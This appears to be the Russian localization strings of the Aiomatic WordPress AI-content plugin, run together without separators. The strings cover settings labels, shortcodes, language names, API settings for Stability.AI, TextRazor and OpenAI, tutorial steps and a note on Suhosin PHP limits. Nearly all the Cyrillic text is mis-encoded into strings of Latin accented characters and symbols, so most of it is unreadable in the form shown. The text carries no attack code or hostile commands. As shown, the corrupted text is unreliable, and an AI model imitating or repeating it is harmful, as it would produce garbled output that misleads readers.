Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле разбора результатов поиÑкаЗадайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле разбора результатов поиÑка. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды, которые будут ÑоответÑтвовать значениÑм каждого Ñлемента результатов поиÑка: %%item_counter%%, %%item_title%%, %%item_snippet%%, %%item_url%%, %%item_scraped_data%% - шорткод %%item_scraped_data%% будет доÑтупен только при включении функции 'СпарÑить СÑылки' Ñнизу.Задайте текÑÑ‚ заголовка раздела "Ðнализ отзывов клиентов". По умолчанию: Ðнализ отзывов клиентовУÑтановите текÑÑ‚ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ InstagramУÑтановите текÑÑ‚ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Instagram. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.Задайте текÑÑ‚ заголовка раздела «ПлюÑÑ‹ и минуÑы». По умолчанию: плюÑÑ‹ и минуÑÑ‹.УÑтановите текÑÑ‚ заголовка Раздела ВопроÑов и Ответов. По умолчанию: ВопроÑÑ‹ и ОтветыУÑтановите текÑÑ‚ Заголовка Раздела «Оглавление». По умолчанию: ОглавлениеУÑтановите текÑÑ‚ Заголовка Раздела Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ. Это необÑзательно.УÑтанавливает текÑÑ‚ Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° промпта. По умолчанию: ПожалуйÑта, выберите промптУÑтановите текÑÑ‚ кнопки отправки. По умолчанию: ОтправитьЗадайте текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº каждому блоку контента, Ñозданному Ñтим OmniBlock.УÑтановите текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ð² начало каждого блока контента, Ñозданного Ñтим OmniBlock.УÑтановите таймаут (в миллиÑекундах) между каждым поÑледующим вызовом API и Ñкраппинга (парÑинга). Это позволит дроÑÑелировать вызовы API, чтобы лимит вызовов API не был доÑтигнут Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи.УÑтановите таймаут (в миллиÑекундах) Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ запущенного headless browser . Я рекомендую оÑтавить в Ñтом поле значение по умолчанию (30000). ЕÑли вы оÑтавите Ñто поле пуÑтым, будет иÑпользоватьÑÑ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ðµ по умолчанию.УÑтановите Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ (в Ñекундах) Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ работающего Правила, а также Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов. Я рекомендую оÑтавить в Ñтом поле значение по умолчанию (3600).Задайте заголовок Ð´Ð»Ñ Ð¿Ð¸Ð½Ð° PinterestЗадайте заголовок Ð´Ð»Ñ Ð¿Ð¸Ð½Ð° Pinterest. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите заголовок Ñоздаваемого поÑтаЗадайте название Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите заголовок Ñтой формы.УÑтановите Тип Промпты, которую вы Ñоздаете.УÑтановите тип Ñтой формы.УÑтановите Ñообщение Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ, которое поÑвлÑетÑÑ Ð¿Ñ€Ð¸ неудачной загрузке pdf-файла.УÑтановите Ñообщение Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ, которое поÑвлÑетÑÑ Ð¿Ñ€Ð¸ уÑпешной загрузке pdf-файла.Задайте Ñообщение, которое поÑвлÑетÑÑ, когда пользователь завершил ÑÐµÐ°Ð½Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñ pdf.Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð²ÐµÐ±-хука, по которому будет передаватьÑÑ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð—Ð°Ð´Ð°Ð¹Ñ‚Ðµ URL веб-хука, по которому будет отправлÑÑ‚ÑŒÑÑ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚.УÑтановите ширину вÑтроенной формы чат-бота. По умолчанию 460 пикÑелей.УÑтановите Ñтиль напиÑÐ°Ð½Ð¸Ñ Ñоздаваемого Контента. Это уÑтановит значение Шорткода %%writing_style%%, которое можно иÑпользовать в Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.УÑтановите тон напиÑÐ°Ð½Ð¸Ñ Ñозданного Контента. Это уÑтановит значение Шорткода %%writing_tone%%, которое можно иÑпользовать в Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.УÑтановите Ñто поле ввода как необходимое (форма не может быть отправлена, еÑли она не заполнена).ÐаÑтройте дополнительные шорткоды, которые будут доÑтупны в OmniBlocks.Укажите, какую информацию вы хотите добавить в каждую запиÑÑŒ ÑпиÑка продуктов.УÑтановите, какую информацию вы хотите добавить в каждую запиÑÑŒ ÑпиÑка товаров. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… о конкретных товарах: %%product_counter%%, %%product_title%%, %%product_description%%, %%product_url%%, %%product_price%%, %%product_list_price%%, %%product_image%%, %%product_cart_url%%, %%product_images_urls%%, %%product_images%%, %%product_reviews%%.УÑтановите, какую модель иÑпользовать при генерации изображений. По умолчанию Ñто stable-diffusion-512-v2-1.УÑтановите, какой преÑет иÑпользовать при Ñоздании изображений. По умолчанию ÐЕТ.Укажите, куда вы хотите добавить результат AI-Assistantа — над или под выделенным текÑтом.УÑтановите ÑобÑтвенный ключ API, который позволит получить доÑтуп к вашему веб-хукуУÑтановите ÑобÑтвенный API-ключ, который позволит получить доÑтуп к вашему веб-хуку. Это предотвратит доÑтуп неавторизованных запроÑов к вебхуку.ÐаÑтройкиÐаÑтройка Вашего Ключа APIÐаÑтройкиÐаÑтройки Ñохранены.ШонаШона (переводчик Google)Промпт Краткого ОпиÑаниÑШорткодÐльтернатива Шорткоду:Шорткод, Ñозданный OmniBlock ID:Шорткод Ð´Ð»Ñ Ñтого правила
                    (кроÑÑ-поÑÑ‚ из Ñтого Плагина в другие Плагины):ПоказатьПоказать РаÑширенные Параметры Формы Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹:Показать кнопку очиÑтки чата:Кнопка загрузки файла TXT журнала чатаПоказать заголовок чат-бота:Показать Заголовок во Фронтенде*Показывайте чатбота в определенные чаÑÑ‹ каждый день:Показать обучающее видеоПоказать ввод WP Rich Text Editor Ð´Ð»Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð² формы AI:Показать вÑе шаблоныПоказать/Ñкрыть Дополнительные Параметры МоделиПоказать / Скрыть ÑпиÑок КатегорийПоказать/Ñкрыть параметрыПоказывает раÑширенные ÐаÑтройки Ð´Ð»Ñ Ñтого правила.Симулировать Редактирование ПоÑтаШиндиСинди (переводчик Google)Сингапур AI Создатель Одного ПоÑтаМакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ…Ð¾Ð´Ð½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° одного ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ (Ñимволов):ASIN отдельного продукта или ключевое ÑловоСингальÑкийСингальÑкий (переводчик Google)URL ÑайтаURL Ñайта:РазмерПропуÑтить импорт Ñтатьи, еÑли беÑплатное изображение не найдено:ПропуÑтить редактирование Ñодержимого ПоÑта:ПропуÑтить Редактирование ÐнонÑа ПоÑта:ПропуÑтить редактирование заголовка ПоÑта:ПропуÑтить обработку Ñтих идентификаторов поÑтов:ÑловацкийСловацкий (переводчик Google)ÑловенÑкийСловенÑкий (переводчик Google)ÐœÐ°Ð»ÐµÐ½ÑŒÐºÐ°Ñ Ð´Ð¾Ð¼Ð°ÑˆÐ½ÑÑ ÐºÐ¾Ð»Ð¾Ð½ÐºÐ°Ð£Ð¼Ð½Ñ‹Ð¹ домашний динамикУмные чаÑÑ‹ или ноÑимыеСмартфонСомалийÑкийСомалийÑкий (переводчик Google)Ðекоторые Важные ПримечаниÑ:ÐÐµÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¾Ð±Ñ‰Ð°Ñ ÑиÑÑ‚ÐµÐ¼Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ.Сортировать результаты Amazon поСортировать Результаты ПоСортировать Результаты По:ИÑточникURL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑИÑточник: ИÑточник ЗапроÑа.Ð®Ð¶Ð½Ð°Ñ Ðмерика 1 (Сан-Паулу)ИÑпаниÑИÑпанÑкийИÑпанÑкий (переводчик Google)УÑиление динамика:Укажите Ñзык по умолчанию Ð´Ð»Ñ Ñ€ÐµÐ³Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾Ð³Ð¾ Контента.Преобразование речи в текÑÑ‚ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Whisper APIПреобразование речи в текÑÑ‚ — Ñто функциÑ, при которой AI преобразует речь в текÑÑ‚. Обычно вы запиÑываете фрагмент аудио, а AI транÑкрибирует его в текÑÑ‚. Это может быть полезно Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, например Ð´Ð»Ñ Ñ€Ð°Ñшифровки интервью, диктовки заметок или Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ Ð´Ð¾ÑтупноÑти аудиоКонтента.Вращай и Переводи:Спин текÑÑ‚ Ñ Ð¸Ñпользованием Ñинонимов Word (только Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированных ПоÑтов):РаÑкручивает текÑÑ‚ и перепиÑывает его, Ð´ÐµÐ»Ð°Ñ ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ð¼. Чтобы Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð»Ð°, вам необходимо выбрать Ñлужбу Ñчетчика текÑта в меню «ОÑновные наÑтройки» плагина -> вкладка «МаÑÑовые ПоÑты» -> поле наÑтроек «Вращение текÑта Ñ Ð¸Ñпользованием Ñинонимов Ñлов».Виды ÑпортаStability.AIÐаÑтройки Stability.AI API:Stability.AI API:Стабильное Диффузное ИзображениеГенератор Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Stable DiffusionУчебное видео Stable Diffusion:СтандартныйÐачать обработкуСтартовалСтатиÑтикаÐаÑтройки ÑтатиÑтики:СтатуÑШагШаг 0: Внимательно прочитайте Ñтот урок и поÑмотрите обучающее видео.Шаг 0: УчебникШаг 1. Создайте данные Ð´Ð»Ñ Ð’ÑтраиваниÑШаг 1. Создайте данные Ð´Ð»Ñ Ð¢Ð¾Ð½ÐºÐ¾Ð¹ ÐаÑтройкиШаг 1. ÐаÑтройте поведение Чат-ботаШаг 1а: Добавьте новое Ð’ÑтраиваниеШаг 1a. Загрузчик набора данныхШаг 1a. Импорт Форм AI по умолчаниюШаг 1а. ÐаÑтройте ÐÑÑиÑтентаШаг 1b: Создайте Ñвои ÑобÑтвенные AI-ФормыШаг 1b: Ручной ввод набора данныхШаг 1б. ÐаÑтройте ÐÑÑиÑтентаШаг 1b. Загрузите Ð’Ñтраивание из CSVШаг 1c: Конвертер набора данныхШаг 2: Добавьте Чат-бота на Ñвой ÑайтШаг 2: ÐвтоматичеÑкое ИндекÑирование СущеÑтвующих ПоÑтовШаг 2: Ðаборы данныхШаг 2. Выберите аÑÑиÑтентов, которые будут иÑпользоватьÑÑ Ð² наÑтройках плагинаШаг 2: Ðачните обучение МоделиШаг 2: ИÑпользуйте AI-ФормыШаг 3: Проверьте ход Тонкой ÐаÑтройкиШаг 2: СпиÑок Добавленных Ð’ÑтраиванийШаг 3: Ð¢Ð¾Ð½ÐºÐ°Ñ Ð½Ð°Ñтройка моделиШаг 3: протеÑтируйте Чат-ботЛипкийХраните изображениÑ, не требующие лицензионных отчиÑлений, или изображениÑ, Ñозданные иÑкуÑÑтвенным интеллектом, на Amazon S3.Удалить вÑе HTML-тегиУдалите JavaScript из HTML-ответов Чат-бота:Удалить Заголовок из ÑодержимогоУдалите Заголовок из ÑодержаниÑ:Преувеличение ÑтилÑ:ПредуÑтановка ÑтилÑ:СтайлингВыравнивание Кнопки Отправки:Цвет кнопки Отправки:РаÑположение Кнопки «Отправить»:Цвет ТекÑта Кнопки «Отправить»: ТекÑтКнопки Отправить *Сабреддиты, где публиковать поÑтыПлан ПодпиÑки:УÑпешно выполненоПредложите Ñ€Ñд подходÑщих ключевых Ñлов на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %s: "%s". Эти ключевые Ñлова должны быть теÑно ÑвÑзаны Ñ %s, Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð¸Ñ€ÑƒÑ ÐµÐ³Ð¾ видимоÑÑ‚ÑŒ. Укажите ключевые Ñлова в формате, разделенном запÑтыми, без иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð°ÐºÐ¸Ñ… Ñимволов, как -, # и Ñ‚. д. Suhosin Post Max Value LengthSuhosin Post Max Value Length:Suhosin Post Max VarsSuhosin Post Max Vars:Suhosin Request Max VarsSuhosin Request Max Vars:Suhosin — Ñто Ð¿Ñ€Ð¾Ð´Ð²Ð¸Ð½ÑƒÑ‚Ð°Ñ ÑиÑтема защиты Ð´Ð»Ñ ÑƒÑтановок PHP. Он был разработан Ð´Ð»Ñ Ð·Ð°Ñ‰Ð¸Ñ‚Ñ‹ ваших Ñерверов, Ñ Ð¾Ð´Ð½Ð¾Ð¹ Ñтороны, от Ñ€Ñда хорошо извеÑтных проблем в приложениÑÑ… PHP, а Ñ Ð´Ñ€ÑƒÐ³Ð¾Ð¹ Ñтороны, от потенциальных неизвеÑтных уÑзвимоÑтей в Ñтих приложениÑÑ… или Ñамом Ñдре PHP. ЕÑли на вашем Ñервере включен Suhosin, возможно, потребуетÑÑ Ð½Ð°Ñтроить его Ð´Ð»Ñ ÑƒÐ²ÐµÐ»Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð»Ð¸Ð¼Ð¸Ñ‚Ð° отправки данных.СуданÑкийСунданез (переводчик Google)ПоддержкаПоддерживаетÑÑ Ð´Ð¾:СуахилиСуахили (переводчик Google)ШвециÑШведÑкийШведÑкий (переводчик Google)СинхронизациÑСинхронизируйте голоÑа ElevenLabs.io:Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð’ÑтраиванийСинхронизировать Ð¤Ð°Ð¹Ð»Ñ‹Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¢Ð¾Ð½ÐºÐ¸Ñ… ÐаÑÑ‚Ñ€Ð¾ÐµÐºÐ¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¤Ð¾Ñ€Ð¼Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð¸Ñ€ÑƒÐ¹Ñ‚Ðµ Google Text-to-Speech Voices:Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² OmniBlockСинхронизировать перÑоныСиÑÑ‚ÐµÐ¼Ð°Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ СиÑтеме:СиÑÑ‚ÐµÐ¼Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸ÑСОВЕТ: ОзнакомьтеÑÑŒ Ñ Ð±Ð¾Ð»ÐµÐµ подробной информацией о рекомендациÑÑ… по проектированию промптов Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ,СОВЕТ: Вам не нужно добавлÑÑ‚ÑŒ Промпты или СуффикÑÑ‹ Ð—Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð² Данные выше, так как Плагин Ñделает Ñто автоматичеÑки, он автоматичеÑки добавит к вашим Данным СуффикÑÑ‹, определенные в меню «ОÑновные ÐаÑтройки» Плагина.Имена тегов:Тег1, Тег2, Тег3Промпт Тегов ТаджикÑкийТаджикÑкий (переводчик Google)ТамильÑкийТамильÑкий (переводчик гугл)Целевой КонтентТатарÑкийТатарÑкий (Google Переводчик)ПиÑьмо ТелугуТелугу (переводчик Google)TemperatureШаблон Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¾Ñ‚ÐºÐ¾Ð³Ð¾ кода %%web_results%%:ТеÑтТекÑÑ‚Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ текÑтаШорткоды Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑтаРедактирование ТекÑтаШорткод Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑтаТекÑÑ‚ Ð´Ð»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° шаблонов промптов:ÐœÐ¾Ð´ÐµÑ€Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐºÑтаТекÑтовый вращательТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² каждый блок контентаТекÑÑ‚ в шаблон аудио/видео:ТекÑÑ‚ Ð´Ð»Ñ Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸ÑТекÑÑ‚ Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°Ð¢ÐµÐºÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº каждому блоку контентаПереводчик текÑÑ‚Ð°Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ текÑта — Ñто функциÑ, при которой AI может продолжить текÑÑ‚, введенный пользователем. Чтобы иÑпользовать Ñту функцию, вы обычно вводите фрагмент текÑта, а AI генерирует продолжение Ñтого текÑта. Это можно иÑпользовать Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, например, Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð´ÐµÐ¹ Ð´Ð»Ñ Ñ€Ð°ÑÑказа или Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð¿Ñ€ÐµÐ´Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð² еÑтеÑтвенно звучащей форме.Редактирование текÑта — Ñто функциÑ, позволÑÑŽÑ‰Ð°Ñ AI редактировать текÑÑ‚ неÑколькими ÑпоÑобами. Ðапример, вы можете ввеÑти фрагмент текÑта и попроÑить AI перепиÑать его в более официальном или неформальном тоне, упроÑтить его или иÑправить любые грамматичеÑкие ошибки. Это может быть полезно Ð´Ð»Ñ ÑƒÐ»ÑƒÑ‡ÑˆÐµÐ½Ð¸Ñ ÐºÐ°Ñ‡ÐµÑтва пиÑьменного Контента или его адаптации Ð´Ð»Ñ Ñ€Ð°Ð·Ð½Ñ‹Ñ… аудиторий.ÐœÐ¾Ð´ÐµÑ€Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐºÑта — Ñто функциÑ, при которой иÑкуÑÑтвенный интеллект отфильтровывает нежелательный Контент Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта. Обычно вы уÑтанавливаете правила или критерии того, что предÑтавлÑет Ñобой нежелательный Контент, а AI проÑматривает входÑщий Контент и отфильтровывает вÑе, что ÑоответÑтвует Ñтим критериÑм. Это может быть иÑпользовано Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, таких как предотвращение Ñпама, блокирование оÑкорбительного Контента или поддержание позитивной атмоÑферы в ÑообщеÑтве.ТекÑÑ‚ в аудио/видео параметры:ТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸ÑТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸ÑÐаÑтройки API ÐŸÑ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¢ÐµÐºÑта в Речь:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речьПреобразование текÑта в речь/видеоÐаÑтройки API ÐŸÑ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¢ÐµÐºÑта в Видео:TextRazorСпиÑок ключей TextRazor API (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ Ñ€ÐµÐ»ÐµÐ²Ð°Ð½Ñ‚Ð½Ñ‹Ñ… Ключевых Слов из текÑта):TextRazor API:ТекÑтовое полеТайÑкийТайÑкий (переводчик Google)СпаÑибо, что выбрали Aiomatic, и Ñ Ñ Ð½ÐµÑ‚ÐµÑ€Ð¿ÐµÐ½Ð¸ÐµÐ¼ жду когда Ð’Ñ‹ начнете иÑпользовать Плагин, который поможет вам Ñоздавать потрÑÑающий Контент и Функции Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта WordPress!Вот и вÑе! Ð’Ñ‹ уÑпешно уÑтановили на Ñвой Ñайт WordPress аÑÑиÑтента, работающего на оÑнове иÑкуÑÑтвенного интеллекта, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ плагина Aiomatic. Этот помощник может Ñтать ценным инÑтрументом Ð´Ð»Ñ Ð²Ð·Ð°Ð¸Ð¼Ð¾Ð´ÐµÐ¹ÑÑ‚Ð²Ð¸Ñ Ñ Ð¿Ð¾ÑетителÑми вашего Ñайта, ответа на чаÑто задаваемые вопроÑÑ‹ и предоÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿ÐµÑ€Ñонализированной помощи, а также Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта, ориентированного на ваши конкретные потребноÑти.Вот и вÑе! Ð’Ñ‹ уÑпешно наÑтроили Чат-бот на базе иÑкуÑÑтвенного интеллекта на Ñвоем веб-Ñайте WordPress Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Плагина Aiomatic. Этот Чат-бот может быть ценным инÑтрументом Ð´Ð»Ñ Ð²Ð·Ð°Ð¸Ð¼Ð¾Ð´ÐµÐ¹ÑÑ‚Ð²Ð¸Ñ Ñ Ð¿Ð¾ÑетителÑми вашего Ñайта, ответов на чаÑто задаваемые вопроÑÑ‹ и предоÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð½Ð´Ð¸Ð²Ð¸Ð´ÑƒÐ°Ð»ÑŒÐ½Ð¾Ð¹ помощи.Шорткод %%ai_generated_title%% можно иÑпользовать в поле ÐаÑтроек "СпиÑок Заголовоков публикации" 'Post Title List / TXT File URL / RSS Feed URL', Поле ÐаÑтроек, чтобы получить чаÑтично или полноÑтью Ñозданные AI Заголовки.КонÑтанта %s имеет значение верно.КонÑтанта %s имеет значение Верно. WP-Cron spawning отключен.Плагин 'Featured Image from URL' не активен. ПожалуйÑта, уÑтановите его и активируйте:AI Создатель может добавить Заголовок ПоÑта к Контенту Ñозданного ПоÑта. УÑтановите Ñтот флажок, еÑли вы хотите удалить Заголовок из Контента ПоÑта.AI Создатель может добавить Заголовок ПоÑта к Контенту Ñозданного ПоÑта. УÑтановите Ñтот флажок, еÑли вы хотите удалить Заголовок из Контента ПоÑта.Выше приведен беÑплатный ключ API DeepL:Плагин Aiomatic работает в Ñочетании Ñ API OpenAI или Ñ AiomaticAPI (в завиÑимоÑти от того, что вы решите иÑпользовать). Чтобы иÑпользовать его, вы должны Ñначала Ñоздать учетную запиÑÑŒ на OpenAI и вÑтавить Ñвой ключ API в ÐаÑтройки Плагина (вкладка «Ключи API» Ñверху). OpenAI предлагает кредит в размере 5 долларов Ð´Ð»Ñ Ð½Ð¾Ð²Ñ‹Ñ… пользователей. ЕÑли вы видите ПоÑÑ‚ «Вы превыÑили текущую квоту, проверьте Ñвой план и платежные данные», Ñто означает, что вы иÑчерпали Ñвою квоту OpenAI и вам нужно купить больше кредита у OpenAI.Плагин Aiomatic предоÑтавлÑет надежный набор функций Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸ мониторинга иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÑервиÑов AI. Это руководÑтво проведет Ð²Ð°Ñ Ñ‡ÐµÑ€ÐµÐ· функцию «Лимиты и СтатиÑтика» Плагина Aiomatic.API ÐÑÑиÑтенты (или AI GPTs) - Ñто клаÑÑÐ½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, позволÑÑŽÑ‰Ð°Ñ Ñоздавать помощников иÑкуÑÑтвенного интеллекта в 